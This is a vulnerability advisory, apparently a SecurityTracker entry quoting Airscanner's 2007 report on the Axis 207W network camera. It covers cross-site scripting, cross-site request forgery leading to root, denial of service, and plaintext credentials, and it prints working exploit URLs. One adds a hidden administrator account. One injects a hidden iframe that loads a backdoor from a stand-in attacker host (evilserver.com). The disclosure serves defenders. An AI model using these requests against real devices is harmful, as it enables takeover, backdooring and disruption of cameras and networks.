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Category:   Device (Multimedia)  >   Axis Network Camera Vendors:   Axis Communications
Axis Network Camera Bugs Permit Cross-Site Scripting and Cross-Site Request Forgery Attacks
SecurityTracker Alert ID:  1018699
SecurityTracker URL:  http://securitytracker.com/id/1018699
CVE Reference:   CVE-2007-4926, CVE-2007-4927, CVE-2007-4929, CVE-2007-4930   (Links to External Site)
Updated:  Apr 18 2008
Original Entry Date:  Sep 17 2007
Impact:   Denial of service via network, Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): 207W Model
Description:   Several vulnerabilities were reported in the Axis 207W Network Camera. A remote user can conduct cross-site scripting attacks. A remote user can conduct cross-site request forgery attacks to gain root access on the target device.

The software does not properly filter HTML code from user-supplied input before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Axis Network Camera software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A demonstration exploit URL is provided:

http://[target]/incl/image_incl.shtml?camNo=</script><script>alert(String.fromCharCode(88,83,83))</script>

A remote user can conduct a cross-site request forgery attack against a target user logged in with administrative privileges to gain root access on the target camera.

A remote authenticated user can cause denial of service conditions using the following type of URL:

http://[target]/axis-cgi/buffer/command.cgi?do=start&buffername=<unique buffer name>

The system sends the username and password via the network in plaintext form.

The vendor has been notified.

Seth Fogie of Airscanner Mobile Security reported this vulnerability.

The original advisory is available at:

http://airscanner.com/security/07080701_axis.htm

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Axis Network Camera software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A remote user can gain root access on the target device.

A remote authenticated user can cause denial of service conditions.

Solution:   No solution was available at the time of this entry.
Vendor URL:  www.axis.com/ (Links to External Site)
Cause:   Access control error, Input validation error

Message History:   None.


 Source Message Contents

Subject:  Axis 207W Wireless Camera Web Interface - Multiple Vulnerabilities

http://airscanner.com/security/07080701_axis.htm

*Airscanner Mobile Security Advisory #07080101: Axis 207W Multiple 
Vulnerabilities*

*Product:*
AXIS 207W

*Platform:*
NA

*Requirements:*
AXIS 207W Camera on WLAN/LAN

* Credits:*
Seth Fogie
Airscanner Mobile Security
http://www.airscanner.com
May 30, 2007

* Risk Level:*
High - Camera compromise leading to network compromise

*Program Summary:
*From the site: http://www.axis.com/products/cam_207/index.htm
The AXIS 207 offers the best image quality in its class, providing 
excellent image quality also in low lighting conditions.

# Superior image quality with progressive scan
# 30 frames per second in VGA resolution (640x480 pixels)
# Network security using multiple user access levels with password 
protection

*Details:*
Details are presented at http://www.informit.com/ 
<http://www.informit.com/articles/article.aspx?p=1016102>

In summary, the AXIS 207W is vulnerable to numerous attacks. Some of 
these are related to wireless protocol vulnerabilities, but the majority 
are exploitable via the web application interface included with the 
camera. The most significant issue is that a CSRF attack against a user 
logged in as an administrator can lead to root access of the Linux based 
operating system on the camera. As a result, the camera can be turned 
into an internal resource for any malicous hacker, through which custom 
scripts can be launched. This can include port scans, banner grabbing, 
buffer overflow exploits, application attacks, and more. Note that this 
attack vector will bypass most firewalls.

Web Application:
# Base64 'encrypted' user/pass sent as plaintext from client to user.

# Global Cross-site scripting vulnerability:
http://<IP>/incl/image_incl.shtml?camNo=</script><script>alert(String.fromCharCode(88,83,83))</script>

# Cross-site Request Forgery attack leads to root access on camera 
through which custom scripts can be executed:
1. Reboot the camera - http://1<IP>/axis-cgi/admin/restart.cgi
2. Add a new administrator - 
http://<IP>/axis-cgi/admin/pwdgrp.cgi?action=add&user=owner1&grp=axuser&sgrp=axview:axoper:axadmin&pwd=owner1&comment=WebUser&return_page=/admin/users_set.shtml%3Fpageclose%3D1
3. Root the camera/add a backdoor - 
http://<IP>/admin/restartMessage.shtml?server=<iframe%20style=visibility:hidden%20src=http://www.evilserver.com/wifi/axisbd.php><iframe
 

# Denial of Service attack via restricted user account:
http://<IP>/axis-cgi/buffer/command.cgi?do=start&buffername=<unique 
buffer name>

* Workaround:*
None.

*Vendor Response:*
Vendor notified

Copyright (c) 2007 Airscanner Corp.

Permission is granted for the redistribution of this alert 
electronically. It may not be edited in any way without the express 
written consent of Airscanner Corp. If you wish to reprint the whole or 
any part of this alert in any other medium other than electronically, 
please contact Airscanner Corp. for permission.

Disclaimer: The information in the advisory is believed to be accurate 
at the time of publishing based on currently available information. Use 
of the information constitutes acceptance for use on an AS IS condition. 
There are no warranties with regard to this information. Neither the 
author nor the publisher accepts any liability for any direct, indirect, 
or consequential loss or damage arising from use of, or reliance on, 
this information.


 
 


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